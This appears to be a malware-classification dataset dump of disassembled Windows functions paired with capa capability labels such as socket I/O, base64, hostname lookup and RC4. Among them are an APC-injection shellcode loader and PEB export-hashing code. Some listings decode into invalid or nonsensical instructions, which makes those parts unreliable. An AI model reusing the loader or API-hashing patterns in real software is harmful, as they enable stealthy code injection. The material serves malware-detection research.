joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c2c54
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov qword [rbp - 0x50], r9
mov qword [rbp - 0x58], r8
mov r14, rdx
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x70]
lea rsi, [rbp - 0x1e]
lea r13, [rbp - 0x3e]
xor ecx, ecx
cmp qword [rdx + 0x18], 0xffffffffffffffff
lea r15, [rdx + 0x18]
cmove r15, rcx
mov r12d, 0x7fffffff
cmp rax, r12
cmovb r12, rax
lea rcx, [rbp - 0x28]
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rdx
mov rdx, qword [r14 + 0x10]
mov rdi, rcx
mov r8, qword [rbp - 0x58]
call fcn.1400c2c4c
mov al, byte [rbp - 0x1f]
cmp al, 3
je 0x1400c2ddc
mov rcx, qword [rbp - 0x28]
cmp al, 2
je 0x1400c2de9
mov dl, byte [rbp - 0x20]
movzx r8d, word [rsi + 4]
mov word [r13 + 4], r8w
mov r8d, dword [rsi]
mov dword [r13], r8d
mov qword [rbp - 0x48], rcx
mov byte [rbp - 0x40], dl
mov byte [rbp - 0x3f], al
mov rcx, r15
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.28.1_srciopoll_evented.rs
call fcn.14000f868
mov rcx, qword [r15]
mov rdx, qword [rbp - 0x50]
mov r8d, r12d
xor r9d, r9d
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
jne 0x1400c2dfa
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
mov rcx, rax
call fcn.1400ca776
cmp al, 0xd
jne 0x1400c2dac
mov rax, qword [r15 + 8]
test rax, rax
je 0x1400c2dac
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
lock inc qword [rdx]
jle 0x1400c2e2d
mov rbx, r13
mov r15, rsi
add rcx, 0x10
mov r8, qword [rax + 0x10]
mov r9b, byte [rax + 0x18]
call fcn.1400747ed
mov rsi, rax
mov r13, qword [rbp - 0x10]
mov qword [rbp - 0x18], r13
xor ecx, ecx
call fcn.140072e79
test rsi, rsi
je 0x1400c2d9e
push 1
pop rcx
mov rdx, r13
call fcn.1400fee5d
mov qword [rbp - 0x10], rsi
mov rsi, r15
mov r13, rbx
mov r14, qword [rbp - 0x30]
mov r15, qword [rbp - 0x38]
mov rbx, qword [rbp - 0x10]
mov rcx, rbx
call fcn.1400bc1fb
cmp al, 0xd
jne 0x1400c2e0a
mov qword [rbp - 0x28], rbx
mov rcx, r14
lea rdx, [rbp - 0x48]
call fcn.1400c2371
mov rcx, rdi
call fcn.1400ba9fb
mov rcx, rdi
jmp 0x1400c2cba
mov rax, qword [rbp - 8]
mov qword [rax], 2
jmp 0x1400c2e19
mov rax, qword [rbp - 8]
mov qword [rax], 1
mov qword [rax + 8], rcx
jmp 0x1400c2e19
cdqe
mov rcx, qword [rbp - 8]
and qword [rcx], 0
mov qword [rcx + 8], rax
jmp 0x1400c2e19
mov rax, qword [rbp - 8]
mov qword [rax], 1
mov qword [rax + 8], rbx
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ud2
Function at 0x1400c2ee2
Capabilities:
Set socket configuration

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov edi, edx
mov rsi, rcx
mov rax, qword [0x1401cb860]
cmp rax, 3
jne 0x1400c2f95
and dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0x81
push 1
pop rdx
push 6
pop r8
mov ecx, edi
xor r9d, r9d
call sub.ws2_32.dll_WSASocketW
cmp rax, 0xffffffffffffffff
je 0x1400c2f60
lea r8, [rbp - 0x1c]
mov dword [r8], 1
mov qword [rbp - 0x18], rax
mov rcx, rax
mov edx, 0x8004667e
call qword [sym.imp.ws2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x1400c2f72
mov rax, qword [rbp - 0x18]
mov qword [rsi + 8], rax
and qword [rsi], 0
jmp 0x1400c2f8c
call fcn.140048e8c
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1400c2f8c
call fcn.140048e8c
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ws2_32.dll_closesocket]
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
lea rax, [rbp - 9]
mov byte [rax], 1
lea r8, [rbp - 0x28]
mov qword [r8], rax
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_socket2_0.4.9_src_syswindows.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401cb860]
lea r9, [0x14015f438]
xor edx, edx
call fcn.14011c330
jmp 0x1400c2f0c

Function at 0x1400de8d1
Capabilities:
Encode data using base64

Disassembly:
mov r8b, byte [rdx + 0x31]
jmp fcn.1400dee12

Function at 0x1400ded83
Capabilities:
Encode data using base64

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov rdx, rcx
mov bl, byte [rsi + 0x31]
test r8b, r8b
je 0x1400dedd8
lea rdi, [rbp - 0x50]
mov rcx, rdi
call fcn.1400c9b19
mov rcx, rdi
mov rdx, rsi
mov r8d, ebx
call fcn.1400dee12
mov rsi, rax
lea rcx, [rbp - 0x50]
call fcn.1400c72ff
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rdx
mov rdx, rsi
mov r8d, ebx
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.1400dee12

Function at 0x1400dee12
Capabilities:
Encode data using base64

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x80], 0xfffffffffffffffe
mov byte [rbp + 0x7f], r8b
mov rbx, rcx
mov rax, qword [rdx]
cmp word [rcx + 0x28], 0
je 0x1400dee4f
mov r12, qword [rbx + 0x40]
jmp 0x1400dee54
movzx r12d, word [rbx + 0x2a]
mov rcx, qword [rax + 0x10]
test r12, r12
mov qword [rbp + 0x70], rdx
mov qword [rbp + 0x20], rcx
je 0x1400dee9a
mov rax, r12
shr rax, 0x3c
jne 0x1400df2a8
lea r14, [r12*8]
push 8
pop rcx
mov rdx, r14
call fcn.14007ef1d
mov rdi, rax
test rax, rax
jne 0x1400dee9d
push 8
pop rcx
mov rdx, r14
call fcn.14011a0d0
ud2
push 8
pop rdi
lea rax, [rbp + 0x48]
mov qword [rax], rdi
mov qword [rax + 8], r12
mov dword [rax + 8], esp
call fcn.140045f20
ud2
Function at 0x1400e5683
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov r14, rdx
mov rax, qword [rbp + 0x70]
lea rdx, [rbp - 0x58]
mov qword [rdx], r9
mov dword [rdx], ecx
mov qword [rdx + 8], rax
and qword [rdx + 0x10], 0
mov qword [rbp - 8], rcx
mov qword [rdx + 0x18], rax
lea r12, [r14 + 0x18]
xor eax, eax
cmp qword [r14 + 0x18], 0xffffffffffffffff
cmove r12, rax
lea r13, [rbp - 0x20]
mov r15d, 0x7fffffff
mov rdx, qword [r14 + 0x10]
mov rcx, r13
mov r8, rbx
xor r9d, r9d
call fcn.1400c2948
mov al, byte [rbp - 0x17]
cmp al, 3
je 0x1400e5825
mov rsi, qword [rbp - 0x20]
cmp al, 2
je 0x1400e5814
mov cl, byte [rbp - 0x18]
lea r8, [rbp - 0x16]
movzx edx, word [r8 + 4]
lea r9, [rbp - 0x2e]
mov word [r9 + 4], dx
mov dword [rcx + 4], edx
mov edx, dword [r8]
mov dword [r9], edx
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x30], cl
mov byte [rbp - 0x2f], al
ror dword [rax - 0x73], 1
test al, 0xe8
retf
std
dec dword [rax - 0x77]
invalid
mov rsi, rdx
mov rcx, r12
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.28.1_srciopoll_evented.rs
call fcn.14000f868
mov rcx, qword [r12]
cmp rsi, r15
cmovae rsi, r15
mov rdx, rdi
mov r8d, esi
xor r9d, r9d
call sub.ws2_32.dll_recv
cmp eax, 0xffffffff
jne 0x1400e5832
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x274a
je 0x1400e5841
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, rsi
call fcn.1400ca776
cmp al, 0xd
jne 0x1400e57eb
mov rax, qword [r12 + 8]
test rax, rax
je 0x1400e57eb
mov qword [rbp - 0x28], rsi
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
lock inc qword [rdx]
jle 0x1400e5883
add rcx, 0x10
mov r8, qword [rax + 0x10]
mov r9b, byte [rax + 0x18]
call fcn.1400747ed
mov rdi, rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp - 0x10], rsi
xor ecx, ecx
call fcn.140072e79
test rdi, rdi
je 0x1400e57eb
push 1
pop rcx
mov rdx, rsi
call fcn.1400fee5d
mov rsi, rdi
mov rcx, rsi
call fcn.1400bc1fb
cmp al, 0xd
jne 0x1400e5814
mov qword [rbp - 0x20], rsi
mov rcx, r14
lea rdx, [rbp - 0x38]
call fcn.1400c2371
mov rcx, r13
call fcn.1400ba9fb
jmp 0x1400e56e1
mov rax, qword [rbp - 8]
mov qword [rax], 1
mov qword [rax + 8], rsi
jmp 0x1400e586f
mov rax, qword [rbp - 8]
mov qword [rax], 2
jmp 0x1400e586f
movsxd rdx, eax
cmp rdx, qword [rbp + 0x70]
jbe 0x1400e5843
mov qword [rbp - 0x40], rdx
jmp 0x1400e5843
xor edx, edx
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.28.1_srciopoll_evented.rs
lea rsi, [rbp - 0x58]
mov rcx, rsi
call fcn.1400c223d
mov rdx, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, rdx
ja 0x1400e5887
mov rax, qword [rbp - 8]
and qword [rax], 0
mov qword [rax + 8], rcx
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ud2
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.28.1_srcio_read_buf.rs
call fcn.14011a400
ud2
Function at 0x14010f9e7
Capabilities:
Parse credit card information

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x328
add eax, dword [rax]
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x290], edi
mov ebp, 0x290
movaps xmmword [rbp + 0x280], xmm6
mov qword [rbp + 0x278], 0xfffffffffffffffe
invalid
invalid
dec dword [rcx + rcx*4 - 0x3a]
mov rdi, rdx
mov qword [rbp + 0x200], rcx
add byte [rdx + 0x5b], ch

Function at 0x1401171f5
Capabilities:
Get session user name

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
lea rdx, [rbp - 0xc]
and dword [rdx], 0
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x1401172b0
lea rdi, [rbp - 0xc]
mov ecx, dword [rdi]
call fcn.140116faa
mov qword [rbp - 0x20], rdx
mov dword [rdi], edx
mov qword [rbp - 0x18], rax
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140117265
mov eax, dword [rbp - 0xc]
lea r8, [rax - 1]
test rax, rax
cmove r8, rax
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp - 0x18]
call fcn.1400902a0
jmp 0x14011728e
push 7
pop rcx
call fcn.140116fec
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e75
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 7
mov byte [rbp - 0x28], 1
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
call fcn.1400adcbe
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.1401170ad
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x1401908f7]
lea r8, [0x140190978]
push 0x19
pop rdx
call fcn.14011a470
ud2

Function at 0x1401172ee
Capabilities:
Get hostname

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
lea rdi, [rbp - 0x1c]
and dword [rdi], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_GetComputerNameExW
mov ecx, dword [rdi]
call fcn.140116faa
mov qword [rbp - 0x18], rdx
mov dword [rdi], edx
xor ecx, ecx
mov qword [rbp - 0x10], rax
mov rdx, rax
mov r8, rdi
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
je 0x14011734d
mov r8d, dword [rbp - 0x1c]
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp - 0x10]
call fcn.1400902a0
jmp 0x14011737a
push 9
pop rcx
call fcn.140116fec
movabs rcx, 0x736f686c61636f6c
mov qword [rax], rcx
mov byte [rax + 8], 0x74
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 9
mov byte [rbp - 0x28], 1
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
call fcn.1400adcbe
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.1401170ad
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140117e1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140117e66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140117e66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140117e66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140117e66
cmp dword [rcx + 0x84], 0xe
jbe 0x140117e66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140117e68
xor al, al
add rsp, 0x28
ret

Function at 0x1401186a0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140118702
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140118702
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140118702
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x140118702
cmp dword [rdx + 0x84], 0xe
jbe 0x140118702
cmp dword [rdx + 0xf8], 0
je 0x140118702
mov ecx, ebx
call fcn.140118560
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x1401cbaa8]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1401183e0
cmp dword [rsp + 0x60], 0
jne 0x140118745
mov ecx, ebx
call fcn.140118510
int3
add rsp, 0x40
pop rbx
ret

Function at 0x140118790
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1401187ec
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401187ec
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401187ec
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401187ec
cmp dword [rcx + 0x84], 0xe
jbe 0x1401187ec
cmp dword [rcx + 0xf8], 0
je 0x1401187ec
mov ecx, ebx
call fcn.140118560
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x1401cbaa8]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1401183e0
cmp dword [rsp + 0x60], 0
jne 0x14011882f
mov ecx, ebx
call fcn.140118510
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140118f70
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x1401cb6f0]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.kernel32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140118fac
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.140117cc0
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.kernel32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.kernel32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140119068
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.kernel32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x1401190ce
test ebx, ebx
jne 0x1401190ce
lea ecx, [rax + 2]
call fcn.140117cc0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140119570
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x140007d00
Capabilities:
Inject apc

Disassembly:
push r12
mov eax, 0x17c50
push rbp
push rdi
push rsi
push rbx
call fcn.1400025c0
sub rsp, rax
call dbg.__main
lea rdi, [rsp + 0x50]
mov r8d, 0x17c00
movabs rdx, 0xc1d50d110f73a210
mov rcx, rdi
mov qword [rsp + 0x48], rdx
movabs rax, 0x4996ec07e7a0fded
lea rdx, [0x140009018]
mov qword [rsp + 0x40], rax
call sym.memcpy
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x10
lea r8, [rsp + 0x40]
mov rcx, rdi
mov edx, 0x17c00
mov rbp, rax
call sym.DecryptData_char__unsigned_int__char__int_
mov ebx, eax
test eax, eax
jne 0x140007e6a
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x17c00
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp byte [0x140008012], 0
lea r12, [rsp + 0x38]
mov rsi, rax
jne 0x140007e4b
mov qword [rsp + 0x38], 0xfffffffffe363c80
mov rdx, r12
xor ecx, ecx
call qword [0x140024038]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x17c00
mov r8, rdi
mov rdx, rsi
mov rcx, rax
xor eax, eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x17c00
mov rdx, rdi
mov rcx, rsi
call sym.memcpy
mov r9, r12
mov edx, 0x17c00
mov rcx, rsi
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rbp
mov eax, ebx
add rsp, 0x17c50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8, r12
mov edx, 1
mov ecx, 1
call qword [0x140024030]
mov byte [0x140008012], 0
jmp 0x140007dc6
lea rcx, str.Data_decryption_failed_n
mov ebx, 1
call sym.printf_char_const__::_
jmp 0x140007e3b
Function at 0x1800011c0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov rax, qword gs:[0x60]
mov r15d, ecx
mov qword [rsp + 0x20], rbp
mov rdx, qword [rax + 0x18]
mov r12, qword [rdx + 0x20]
mov r14, r12
nop dword [rax]
nop word [rax + rax]
mov rdi, qword [r14 + 0x20]
mov r14, qword [r14]
test rdi, rdi
je 0x1800012c4
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rax + rdi + 0x88]
test ecx, ecx
je 0x1800012c4
mov edx, dword [rdi + rcx + 0xc]
lea rbp, [rdi + rcx]
add rdx, rdi
xor r10d, r10d
movzx r8d, byte [rdx]
test r8b, r8b
je 0x180001262
nop word [rax + rax]
movsx ecx, r8b
lea rdx, [rdx + 1]
ror r10d, 0xf
cmp r8b, 0x61
movzx r8d, byte [rdx]
lea eax, [rcx - 0x20]
cmovl eax, ecx
add r10d, eax
test r8b, r8b
jne 0x180001240
mov r11d, dword [rbp + 0x20]
xor ebx, ebx
mov esi, dword [rbp + 0x18]
add r11, rdi
test esi, esi
je 0x1800012c4
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r11]
xor eax, eax
add r8, rdi
movzx r9d, byte [r8]
test r9b, r9b
je 0x1800012b1
movsx edx, r9b
lea r8, [r8 + 1]
ror eax, 0xf
cmp r9b, 0x61
movzx r9d, byte [r8]
lea ecx, [rdx - 0x20]
cmovl ecx, edx
add eax, ecx
test r9b, r9b
jne 0x180001291
lea ecx, [rax + r10]
cmp r15d, ecx
je 0x1800012ea
inc ebx
add r11, 4
cmp ebx, esi
jb 0x180001280
cmp r14, r12
jne 0x180001200
xor eax, eax
mov rbp, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
pop r15
pop r14
pop r12
ret
mov ecx, dword [rbp + 0x24]
add rcx, rdi
movzx r8d, word [rcx + rbx*2]
mov ecx, dword [rbp + 0x1c]
add rcx, rdi
mov eax, dword [rcx + r8*4]
add rax, rdi
jmp 0x1800012cf
Function at 0x180001310
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push rbx
push rsi
push r15
sub rsp, 0x60
mov rax, qword [0x18001b008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, qword [r8]
mov r15, rdx
mov qword [rsp + 0x20], rcx
mov rbx, rcx
test rsi, rsi
jne 0x18000135e
mov qword [rcx + 0x10], rsi
lea rdx, [0x180017760]
mov qword [rcx + 0x18], 0xf
xor r8d, r8d
mov byte [rcx], sil
call fcn.180001d60
jmp 0x1800014e3
mov qword [rsp + 0x88], rbp
mov rax, rsi
xor ebp, ebp
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
and eax, 3
jne 0x180001389
cmp byte [rsi + rdx - 1], 0x3d
je 0x180001389
xor r14d, r14d
xor r12d, r12d
jmp 0x1800013a4
mov r14d, 1
cmp rax, 2
ja 0x1800013a1
cmp byte [rsi + rdx - 2], 0x3d
jne 0x1800013a1
xor r12d, r12d
jmp 0x1800013a4
mov r12, r14
sub rsi, r14
mov qword [rsp + 0x38], rbp
and rsi, 0xfffffffffffffffc
mov qword [rsp + 0x40], 0xf
mov rdx, rsi
mov byte [rsp + 0x28], bpl
shr rdx, 2
lea rcx, [rsp + 0x28]
lea rax, [r12 + rdx*2]
add rdx, rax
add rdx, r14
call fcn.180001c00
cmp qword [rsp + 0x40], 0x10
lea r9, [rsp + 0x28]
lea r10, [0x180017770]
cmovae r9, qword [rsp + 0x28]
test rsi, rsi
je 0x180001463
lea rdx, [rsi - 1]
shr rdx, 2
lea r8, [r15 + 2]
inc rdx
nop word [rax + rax]
movzx eax, byte [r8 - 2]
lea r8, [r8 + 4]
mov ecx, dword [r10 + rax*4]
movzx eax, byte [r8 - 5]
shl ecx, 6
or ecx, dword [r10 + rax*4]
movzx eax, byte [r8 - 4]
shl ecx, 6
or ecx, dword [r10 + rax*4]
movzx eax, byte [r8 - 3]
shl ecx, 6
or ecx, dword [r10 + rax*4]
mov eax, ecx
sar eax, 0x10
mov byte [r9 + rbp], al
mov eax, ecx
sar eax, 8
mov byte [r9 + rbp + 1], al
mov byte [r9 + rbp + 2], cl
add rbp, 3
sub rdx, 1
jne 0x180001410
test r14, r14
mov r14, qword [rsp + 0x50]
je 0x1800014b5
movzx eax, byte [rsi + r15]
movzx edx, byte [rsi + r15 + 1]
mov ecx, dword [r10 + rax*4]
mov r8d, dword [r10 + rdx*4]
shl ecx, 6
or r8d, ecx
shl r8d, 0xc
mov eax, r8d
sar eax, 0x10
mov byte [r9 + rbp], al
test r12, r12
je 0x1800014b5
movzx eax, byte [rsi + r15 + 2]
sar r8d, 8
mov ecx, dword [r10 + rax*4]
shl ecx, 6
sar ecx, 8
or cl, r8b
mov byte [r9 + rbp + 1], cl
movups xmm0, xmmword [rsp + 0x28]
mov r12, qword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x38]
mov rbp, qword [rsp + 0x88]
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180001fd0
add rsp, 0x60
pop r15
pop rsi
pop rbx
ret
Function at 0x180001610
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov eax, dword [rcx]
mov rbx, rdx
mov r11d, dword [rcx + 4]
mov r10, rcx
movsxd rdi, r8d
test r8d, r8d
jle 0x180001680
nop
inc al
lea rbx, [rbx + 1]
movzx eax, al
mov r9d, dword [r10 + rax*4 + 8]
lea r8, [r10 + rax*4]
lea ecx, [r11 + r9]
movzx r11d, cl
mov edx, dword [r10 + r11*4 + 8]
mov dword [r8 + 8], edx
mov dword [r10 + r11*4 + 8], r9d
add r9b, dl
movzx ecx, r9b
movzx edx, byte [r10 + rcx*4 + 8]
xor byte [rbx - 1], dl
sub rdi, 1
jne 0x180001630
mov dword [r10], eax
mov dword [r10 + 4], r11d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov dword [rcx], eax
mov dword [rcx + 4], r11d
ret